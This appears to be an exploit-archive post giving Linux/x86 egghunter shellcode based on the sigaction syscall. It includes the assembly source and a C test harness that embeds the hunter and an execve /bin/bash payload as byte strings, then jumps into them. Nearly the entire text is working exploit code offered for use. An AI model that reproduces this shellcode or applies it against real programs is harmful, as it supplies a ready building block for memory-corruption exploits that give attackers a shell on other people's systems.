/* # Title: Linux/x86 - Egghunter + sigaction-based Shellcode (27 bytes) # Author:Valbrux # Date: 2018-09-19 # This exploit is a dirty-slow but small version of the sigaction-based egg hunter shellcode global _start section .text ;zeroing ecx xor ecx,ecx _start: ;increment inc ecx ;sigaction syscall number push byte 67 pop eax ;executing syscall int 0x80 ;if EFAULT cmp al,0xf2 ;page alignment jz _start ;moving EGG mov eax,0x50905090 ;current address mov edi,ecx ;checking current address with EGG two times scasd jnz _start scasd jnz _start ;if equals jump to shellcode jmp edi */ #include #include #define EGG "\x90\x50\x90\x50" unsigned char code[] = EGG EGG"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; //27 Bytes unsigned char egg[] = "\x31\xc9\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf6\xb8"EGG"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"; main() { printf("Egg length: %d\n",strlen(egg)); printf("Shellcode lenght: %d\n",strlen(code)); int (*ret)() = (int(*)())egg; ret(); }